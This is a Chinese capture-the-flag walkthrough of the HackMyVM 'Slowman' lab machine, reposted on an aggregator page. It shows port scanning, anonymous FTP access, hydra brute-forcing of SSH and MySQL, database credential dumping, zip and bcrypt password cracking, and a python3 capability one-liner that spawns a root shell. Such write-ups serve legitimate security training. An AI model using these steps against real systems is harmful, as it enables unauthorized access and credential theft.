【hackmyvm】Slowman靶機

文章目錄

  • 主機探測
  • 端口探測
    • FTP匿名登錄
  • 目錄探測
  • hydra爆破
  • mysql
  • 爆破zip------fcrackzip
  • 爆破密碼-----john
  • 提權

主機探測

在這里插入圖片描述

┌──(root?kali)-[/home/kali]
└─# fping -ag 192.168.9.1/24 2>/dev/null
192.168.9.221      主機192.168.9.224      靶機

端口探測

┌──(root?kali)-[/home/kali]
└─# nmap -sV -O -A -p- 192.168.9.224 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-20 05:43 EDT
Nmap scan report for 192.168.9.224
Host is up (0.0027s latency).PORT     STATE  SERVICE  VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp      vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.9.221
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp   open   ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02d65e01455b8d2df9cb0bdf45670422 (ECDSA)
|_  256 f9ce4a7507d0051dfba7a769391b0810 (ED25519)
80/tcp   open   http     Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Fastgym
|_http-server-header: Apache/2.4.52 (Ubuntu)
3306/tcp open   mysql    MySQL 8.0.35-0ubuntu0.22.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.35-0ubuntu0.22.04.1
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, SupportsCompression, Support41Auth, ConnectWithDatabase, Speaks41ProtocolOld, SupportsTransactions, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, InteractiveClient, LongColumnFlag, LongPassword, ODBCClient, FoundRows, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: >@\x14l63aIW\x1F\x0F \x05\x1A}\x1D.xl\x0E
|_  Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=MySQL_Server_8.0.35_Auto_Generated_Server_Certificate
| Not valid before: 2023-11-22T19:44:52
|_Not valid after:  2033-11-19T19:44:52
MAC Address: 08:00:27:9A:5F:4D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   2.65 ms 192.168.9.224

FTP匿名登錄

anonymous/anonymous┌──(root?kali)-[/home/kali]
└─# ftp 192.168.9.224
Connected to 192.168.9.224.
220 (vsFTPd 3.0.5)
Name (192.168.9.224:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              12 Nov 22 21:46 allowedusersmysql.txt
226 Directory send OK.
ftp> get allowedusersmysql.txt
local: allowedusersmysql.txt remote: allowedusersmysql.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for allowedusersmysql.txt (12 bytes).
100% |*************************************************************************************************************|    12        8.91 KiB/s    00:00 ETA
226 Transfer complete.
12 bytes received in 00:00 (3.95 KiB/s)┌──(root?kali)-[/home/kali]
└─# cat allowedusersmysql.txt 
trainerjeff

找到trainerjeff,可能使賬號或密碼

目錄探測

┌──(root?kali)-[/home/kali/slowman/192.168.9.224/images]
└─# dirsearch -u http://192.168.9.224/_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /home/kali/slowman/192.168.9.224/images/reports/http_192.168.9.224/__24-05-20_07-01-06.txtTarget: http://192.168.9.224/[07:01:06] Starting: [07:01:52] 200 -    1KB - /contact.html                                     
[07:01:53] 301 -  312B  - /css  ->  http://192.168.9.224/css/               
[07:02:04] 301 -  315B  - /images  ->  http://192.168.9.224/images/         
[07:02:04] 200 -  812B  - /images/                                          
[07:02:07] 200 -  494B  - /js/                                              

hydra爆破

在FTP中得到的賬號,爆破一下SSH

┌──(root?kali)-[/home/kali/slowman/192.168.9.224/images]
└─# hydra -l trainerjeff -P /usr/share/wordlists/rockyou.txt ssh://192.168.9.224
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-20 07:10:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.9.224:22/
[STATUS] 100.00 tries/min, 100 tries in 00:01h, 14344305 to do in 2390:44h, 10 active
^Z
[5]+  已停止               hydra -l trainerjeff -P /usr/share/wordlists/rockyou.txt ssh://192.168.9.224

SSH爆破無果,試試mysql

┌──(root?kali)-[/home/kali/slowman/192.168.9.224/images]
└─# hydra -l trainerjeff -P /usr/share/wordlists/rockyou.txt mysql://192.168.9.224
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-20 07:12:30
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://192.168.9.224:3306/
[3306][mysql] host: 192.168.9.224   login: trainerjeff   password: soccer1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-20 07:12:42

得到賬號密碼trainerjeff /soccer1

mysql

┌──(root?kali)-[/home/kali/slowman/192.168.9.224/images]
└─# mysql -h 192.168.9.224 -utrainerjeff -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1078
Server version: 8.0.35-0ubuntu0.22.04.1 (Ubuntu)Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| trainers_db        |
+--------------------+
5 rows in set (0.124 sec)MySQL [(none)]> use trainers_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changedMySQL [trainers_db]> show tables;
+-----------------------+
| Tables_in_trainers_db |
+-----------------------+
| users                 |
+-----------------------+
1 row in set (0.003 sec)MySQL [trainers_db]> select * from users;
+----+-----------------+-------------------------------+
| id | user            | password                      |
+----+-----------------+-------------------------------+
|  1 | gonzalo         | tH1sS2stH3g0nz4l0pAsSWW0rDD!! |
|  2 | $SECRETLOGINURL | /secretLOGIN/login.html       |
+----+-----------------+-------------------------------+
2 rows in set (0.002 sec)

發現/secretLOGIN/login.html為登錄地址,根據賬號密碼登錄發現一個zip,但是需要密碼在這里插入圖片描述

爆破zip------fcrackzip

得到用戶名和加密的密碼

┌──(root?kali)-[/home/kali/slowman/192.168.9.224]
└─# fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt credentials.zip PASSWORD FOUND!!!!: pw == spongebob1┌──(root?kali)-[/home/kali/slowman/192.168.9.224]
└─# unzip credentials.zip 
Archive:  credentials.zip
[credentials.zip] passwords.txt password: inflating: passwords.txt           ┌──(root?kali)-[/home/kali/slowman/192.168.9.224]
└─# cat passwords.txt 
----------
$USERS: trainerjean$PASSWORD: $2y$10$DBFBehmbO6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq 

爆破密碼-----john

┌──(root?kali)-[/home/kali/slowman/192.168.9.224]
└─# john hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
tweety1          (?)     
1g 0:00:02:06 DONE 2/3 (2024-05-20 07:47) 0.007905g/s 84.24p/s 84.24c/s 84.24C/s sonic1..warriors1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

提權

trainerjean | tweety1
上傳linpeas.sh文件,報一下

在這里插入圖片描述
Capabilities提權詳細解釋

trainerjean@slowman:/tmp$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)
# cd /root
# ls
root.txt  snap
# cat root.txt
Y0UGE23t7hE515roo7664pa5$WoRDOFSlowmaN!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/14391.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/14391.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/14391.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

送變電乙級資質申請攻略:關鍵步驟與注意事項

關鍵步驟: 工商注冊與資本核實: 確保企業已正式注冊,且注冊資金不少于100萬元人民幣,同時準備企業法人營業執照等相關證明文件。 人員配置與注冊: 根據資質要求,配置齊全合理的專業技術人員,包括…

【教程】Linux 安裝 kkFileView 文檔在線預覽項目 及優化

【教程】Linux 安裝 kkFileView 文檔在線預覽項目 官網 kkFileView - 在線文件預覽 (keking.cn) 安裝包 可以直接下載成品 也可以下載source 源碼 自己編譯 kkFileView 發行版 - Gitee.com 打開IDEA 然后先clear 再install 然后在 file-online-preview\server\target 目錄…

Nginx R31 doc-09-Serving Static Content 靜態內容

提供靜態內容 配置 NGINX 和 NGINX Plus 以提供靜態內容,使用類型特定的根目錄,檢查文件存在性,并進行性能優化。 本節介紹如何配置 NGINX 和 NGINX Plus 以提供靜態內容,如何定義搜索請求文件的路徑,如何設置索引文…

WordPress插件Disable WP REST API,可根據是否登錄來禁用REST API

前面跟大家分享了代碼版禁用WordPress REST API的方法(詳見『WordPress4.7以上版本如何禁用JSON REST API?』),不過有些站長不太敢折騰自己的網站代碼,那么建議試試這款Disable WP REST API,它可以&#xf…

小結5:朗讀練習第二段

五、朗讀練習2 2024-5-6始,5-14終,5-15寫。 我漸漸體會到一些朗讀的樂趣。但我還要考研,要寫作業、期末考試。如果是在大一該多好。我可以就這樣一天一天的寫下去,慢慢地有一些自己的作品,還能錄視頻發到b站上。 上一篇…

通過修改物理內存實現跨進程內存讀寫

習一下利用修改物理內存來跨進程內存讀寫 系統:win10 21h1 x64 編譯環境: vs2022 詳情見附錄 基礎 虛擬地址轉物理地址 虛擬地址也稱線性地址,一個線性地址進程的DirBase地址可以轉換成物理地址。先來看線性地址的含義 在x64體系中只實現了48位的virtu…

刀片式服務器的主要組件有哪些?

刀片式服務器是專門為特殊應用行業跟高密度計算環境設計的,是高可用高密度低成本的服務器平臺,刀片服務器這個名稱主要是根據產品的形狀,刀片式服務器的組成單元外形扁平,就像刀片一樣,整體設計的比較緊湊,…

C#和C++有什么區別?

C#和C都是廣泛使用的編程語言,但它們在設計理念、應用場景和語法上有許多顯著的區別。以下是一些關鍵區別的詳細介紹: 1. 設計理念和目的 C: 設計目的:C是一種面向系統編程和應用程序開發的語言,具有高效性和靈活性…

電工杯b題

雖然這次休息不打,但是看了一下,我比較傾向于機器學習灌水(doge

刷題之從前序遍歷與中序遍歷序列構造二叉樹(leetcode)

從前序遍歷與中序遍歷序列構造二叉樹 前序遍歷&#xff1a;中左右 中序遍歷&#xff1a;左中右 前序遍歷的第一個數必定為根節點&#xff0c;再到中序遍歷中找到該數&#xff0c;數的左邊是左子樹&#xff0c;右邊是右子樹&#xff0c;進行遞歸即可。 #include<vector>…

Juniper查看并調整策略順序

1.查看安全策略 >show security policies 順序就是按照顯示出來的順序&#xff0c;與Index無關&#xff0c;從上到下匹配 2. 調整防火墻策略 #insert security policies from-zone CAMERAS to-zone INTERNET policy CAMERAS-to-NTP before policy CAMERAS-to-INTERNET …

操作系統3_作業與處理機調度

操作系統3_作業與處理機調度 文章目錄 操作系統3_作業與處理機調度1. 作業的概念與組成2. 作業的建立及狀態3. 處理機調度相關概念3.1 調度級別3.2 調度隊列模型3.3 選擇準則4. 作業調度與進程調度5. 典型處理機調度算法5.1 先來先服務算法FCFS5.2 短作業優先算法SJF5.3 優先級…

【力扣一輪】字符串異位 數組并集

先驗知識記錄&#xff1a; 遇到哈希問題&#xff0c;想到三種數據結構&#xff1a; ①數組&#xff1a;適用于哈希值比較小&#xff0c;范圍較小&#xff0c; ②set&#xff1a;適用于哈希值較大。 ③map&#xff1a;如果需要用到鍵值對&#xff0c;則用之。 242.有效的字母…

撥云見日,ATFX七場研討會揭秘投資先機

財經先機&#xff0c;一手掌握。近期&#xff0c;隨著國際金價持續走高&#xff0c;避險情緒高漲&#xff0c;由此激發新一輪投資熱潮。作為業界領先的金融創新品牌&#xff0c;ATFX深受投資者認可和信賴&#xff0c;為助力廣大投資者了解市場運行規律&#xff0c;捕捉財經脈絡…

C++通過讀取二進制流的方式來解析PE(靜態文件讀取法)

步驟解讀 先選擇文件讀取文件二進制流從二進制流讀取DOS頭&#xff08;DOS_HEADER&#xff09;&#xff0c;長度64字節讀取DOS殼&#xff08;DOS_STUB&#xff09;&#xff0c;DOS頭開始&#xff0c;長度至到dosHeader->e_lfanew偏移量讀取PE標識&#xff08;Signature&…

520節日特別篇:構建浪漫互動網站實戰技巧

520節日特別篇&#xff1a;構建浪漫互動網站實戰技巧 一、非零分積分資源概覽二、基礎概念與作用說明HTML5 Canvas & SVGCSS3 動畫與過渡JavaScript 動態交互 三、實戰代碼示例&#xff1a;打造浪漫愛心雨HTML 結構CSS 樣式JavaScript 邏輯 四、實際開發應用思路1. 個性化祝…

怎么畫思維導圖?方法介紹

怎么畫思維導圖&#xff1f;在數字化時代&#xff0c;思維導圖已成為我們工作、學習和生活中的得力助手。它不僅能幫助我們更好地組織和表達思想&#xff0c;還能提升我們的思維能力和創造力。那么&#xff0c;哪些軟件可以畫思維導圖呢&#xff1f;本文將為你揭秘幾款功能強大…

Linux 應用入門(一)

1. 交叉編譯 概念&#xff1a;在當前編譯平臺下&#xff0c;編譯出來的程序能運行在體系結構不同的另一種目標平臺上&#xff0c;但是編譯平臺本身卻不能運行該程序。 為什么需要交叉編譯&#xff1f; 速度&#xff1a;目標平臺得運行速度比主機往往慢得多&#xff0c;因為許多…

Docker+nginx部署SpringBoot+vue前后端分離項目(保姆及入門指南)

前后分離項目部署 項目回顧工具上線準備1、win1.1、前端1.2、后端 2、linux環境2.1、安裝docker2.2、安裝docker compose2.3、編寫Dockerfile文件2.4、編寫docker-compose.yml文件2.5、修改application-pro.yml2.6、準備好nginx的掛載目錄和配置2.7、部署后端服務 項目回顧 書…

數據挖掘實戰-基于內容協同過濾算法的電影推薦系統

&#x1f935;?♂? 個人主頁&#xff1a;艾派森的個人主頁 ?&#x1f3fb;作者簡介&#xff1a;Python學習者 &#x1f40b; 希望大家多多支持&#xff0c;我們一起進步&#xff01;&#x1f604; 如果文章對你有幫助的話&#xff0c; 歡迎評論 &#x1f4ac;點贊&#x1f4…